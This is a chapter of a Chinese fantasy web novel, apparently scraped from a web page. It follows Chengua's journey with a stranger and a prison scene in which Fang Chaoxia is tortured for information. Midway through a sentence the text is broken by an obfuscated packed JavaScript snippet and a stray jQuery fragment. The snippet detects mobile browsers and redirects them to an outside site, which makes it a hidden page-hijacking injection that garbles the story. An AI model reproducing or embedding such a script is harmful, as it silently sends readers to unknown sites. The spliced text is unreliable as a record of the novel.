撑花一个人继续往乐辛走,失了方巢夏陪伴,她仅余依稀灵力自保。
一路不敢与人交流,饿了就啃包裹里的馒头,困了找个桥洞睡去。
进了南崖,再过三十里,就到乐辛了。
她喘了口气,弯下身来,将水葫芦盖子拧开,从泉眼处灌了满满一壶水。
灌满后,碰到嘴边,也顾不得寒凉,喝了好大一口。
幸好南崖地处南方,比北方暖,河流没结冰。
她抹了抹嘴,突然,一只手搭在了肩上。
撑花吓了一跳,回头看去,只见搭话的,是个吊梢眉毛,多情眼,一脸妩媚的个矮女子。
女子比撑花还要矮些,骨架纤细,穿着烂衣破衫,在寒风中瑟瑟发抖,颤着声音道:“姑、姑娘,能不能给口吃的?”
撑花不答,有些警惕地退后几步,想脱身。
谁知那女人却几步上来,又缠住她:“姑娘别怕,我不是坏人。”
“我打中州来,是中州太扬郡人,家里遭了鬼祸,一家老小悉数丧命,只剩我一人逃了出来。”
“一路逃到这里,大冷天的,几乎要饿死了。我瞧姑娘你面善,才敢上前,来讨口吃的……”
说着说着,她落下一滴泪来,白晶晶的泪水淌过沾满灰尘的脸颊,露出里面白皙的肤色。
撑花一愣:“太扬郡?”
她就是太扬郡人。
没想到,眼前这女子,竟然是她老乡。
她上下打量着女子纤弱的小身板,没看出来有什么不对,因此软了心肠,从包袱里掏出几块面饼,递给她。
“吃吧。”
说完后,就转身离开了。
她步子走得快,没想到那个矮女子却跟得上,抱着饼子跟在她身后,甩都甩不掉。
“姑娘!姑娘别走啊!”
“你行行好,咱们搭伙一起走好不好?这世道太乱了,连那神通广大的贝儿爷都死了,小女子我一个人实在害怕。姑娘,让我跟着你可好?”
撑花脚步明显动摇,她一路往之前睡过的树洞走去。
那洞嵌在一颗老树底下,里面空间不大,刚好能睡一人。洞里也干燥,没有积雪,铺满了冬天的落叶。
天色不早,她匆匆啃了几口干粮,就着水咽下去,合衣躺在洞中。
临睡前,撑花还盘算着,明日早起一点,趁着人少,走大路,明天中午前就能到乐辛。
一夜匆匆而过,第二天天还未亮,她刚出了洞,一脚踩在什么绵软的物体上。
撑花低了头,眯着眼看去,横在她洞口的,竟然是昨天那女人。
她赶忙蹲下身来,探了探她的鼻息。
还好,还活着。
那女人被她的动作惊醒,一脸喜色道:“姑娘,你醒了!昨夜里好冷啊。”
可不吗,昨夜下了一夜的雪,这女人睡在雪地里,好悬没冻死。
撑花盘算一下,若她想害她,昨夜里就是最好的下手时机。结果她还好端端的,想必这女人没什么坏心。
于是打开包裹,扔了一件棉袄褂出来,对她道:“你穿着吧。”
女人接过,连连道谢,欣喜地穿在身上。知道她愿意接纳她了,赶忙自我介绍:“我叫榴昭,姑娘,你叫什么?”
撑花:“我叫撑花。”
“撑——花——”她拉长了音调去读,那双原本就上挑的眼睛更妩媚起来,亲亲热热地拉着撑花的胳膊,套近乎道:“咱们接下来去哪里呀?”
撑花道:“去乐辛。”
“去乐辛干什么?”
撑花想了想,没有直接回答:“有事。”
————
曦舞大诏狱中,方巢夏两手被缚,牢牢捆在十字固上。
她脖颈上缠着一根双面钉颈带,里侧钉子刺进脉穴中,让她灵脉被锁,一丁点灵力也使不出来。
大诏狱四周都是石壁,其中一处墙壁镶嵌着一堵石门,除此之外,没有其余出口,连窗户也无。
所以当石门关紧时,里面一片昏黑,一丝光线都没有。
不知过了多久,一阵不疾不徐的脚步声传来,紧接着,四周一圈火把悉数燃起,将诏狱照得透亮。
方巢夏不用抬头,就知道来人是神灵越。
当代神主,拥有神力的,真真正正的神主。
方巢夏在曦舞做官百年,身为曦舞高层,她自然知晓神灵越空有神主之位,却无神力傍身的密辛。
想来,这还是她第一次和完整的新神主见面。
石门打开,神灵越缓缓走进。
方巢夏费力睁开肿胀的眼睛,想瞧清楚她的样貌。
果然,从眼神到姿态,她都更坚定了,底气十足,一股凌驾万物、油然而生的超脱感扑面而来。
和神静安简直一个模子刻出来的。
神灵越迎着她的视线,不闪不避,一步步走进,然后抬手,没动用任何力量,全凭力气,狠狠扇了她一个耳光。
“啪”地一声,打得身旁的王润秋吓得一颤。
方巢夏脸偏过去,皮肤火辣辣地疼,脑袋几乎要被她扇断掉。
神灵越见她一动不动,话也不说,抬了头去,哂笑出声:“怎么,连看都不敢看孤了?”
“方侍卫长,你没想到,有一天,还会落到孤的手里吧。”
方巢夏依旧不发一言。
神灵越再次冷笑,眼里的恨意几乎要结成冰:“想当初,你跟在我身边百年,你几乎是我在曦舞最信任的下属。”
“没想到啊没想到,你转头就能背叛了我,跟凡朝那畜牲苟合到一起。”
“方巢夏,我是亏待了你,还是亏待了方家,让你这么恨?”
说到这里,方巢夏才猝然抬头,惊怒道:“叛出曦舞是我一人所为,你休要牵连我母族!”
神灵越揉了揉通红的手,慢条斯理道:“我知。”
“你叛逃出去第二天,方域主连夜出关,赶到曦舞,向我解释,并奉上十年供奉及三千人饲,当着全天下人的面与你割席。”
“你瞧瞧你瞧瞧,方域主活了千年的老人精了,怎么生出你这么个不知好赖的东西?”
听见自己母族没事,方巢夏暗暗松了口气,又低了头去,不再言语。
神灵越见她又一次躲避沟通,怒气涌现,掐着她的下巴,将人拧了过来,质问道:“凡朝呢?她去哪了?!”
“启烛那妖孽带她去哪了?”
方巢夏淡声:“不知。”
神灵越一个眼神,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16439312|173958||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一旁的王润秋立刻上前,拿起鞭子,往她身上狠狠抽了一鞭。
方巢夏闷哼一声,依旧不松口。
王润秋继续打着:“说不说?那魔头在哪?快说!”
一鞭子接一鞭子,直抽得人皮开肉绽,方巢夏依旧咬死了不改口。
见没有用,鞭子都抽破皮了,王润秋立刻转换招数,扣紧了她脖子上的锁脉带,猛地一拉,方巢夏直接痛苦得眼白翻起,再无法平静。
神灵越静静看着她痛苦的面容,继续道:“你说不说?”
方巢夏咬紧牙关,断断续续道:“不知。”
神灵越拿她没办法,又换了个问题:“好好好,你们真是情深义重,孤倒成了为难你们的恶人。”
“我问你,凡朝身上那诡异的力量是怎么回事?”
说这话时,她用指尖挑起方巢夏的下巴,把那张硬得像石头一样的脸抬起来。
“别说你不知道,你跟她朝夕相处——”
“孤明明按照老师的方法,把神力取回来了,那丫头怎么可能还有战力呢?”
“她就是废人一个!”
方巢夏睁眼看着她,一声不吭。
神灵越继续诱哄:“朝夏,只要你说,我既往不咎。”
“你这段时间的背叛,我权当看不见,你依旧做你的侍卫长,好不好?我们一起打拼上来,在我连位置都坐不稳的时候,你做我最好用的刀。一直到局面稳定,到我掌控大局,那一百年都是假的吗?”
“我们不都很恨凡朝吗?你怎么就跟了她呢?”
神灵越想不明白,决定攻心,连称词都不说了,改用“我”。
她的话出口后,方巢夏还没反应,一旁的王润秋倒是嘘起了眼睛。
他偷偷瞟了瞟方巢夏,方巢夏滚蛋了,他才坐上了侍卫统领的位置,连带他的家族一举迈入世家行列。
要是这姓方的服了软,那他岂不是……
他眼中闪过一丝阴狠,看来这方巢夏,不能留了。
神灵越继续施压:“你以为你不说孤就找不到凡朝吗?天地之大,到处都是孤的布控。”
“你这个时候告诉孤,孤还可保你一命,否则的话……”
方巢夏眉眼越压越低,即使身上再痛,依旧坚定地说道:“不。”
神灵越冷笑僵在脸上,此前王润秋已经折磨了她整整三天,也未问出什么。
这人脾气又臭又硬,偌她真不想出口,那是真的什么也问不出来。
见此情景,神灵越冷笑一声:“不想说啊,你以为孤真的拿你没办法了吗?”
“留着你在,不怕凡朝不找上门。”
她这是做了把她当诱饵的打算,以凡朝的性格,不可能不来救她。
方巢夏眼睛蓦然睁大,从眼眶里流出血泪来:“不要!”
“你杀了我!”
终于见她有了波动,神灵越大笑出声,背着手慢慢踱步出去:“哈哈哈!”
“想都别想!在这里好好等着凡朝自投罗网吧!”
一桶滚烫的盐水被王润秋从头浇到低,接着,大门狠狠关上,四周火把熄灭,光源全数断掉。
只留方巢夏一人,挂在黑暗中,静静忍受蚀骨的伤痛,以及看不到希望的未来。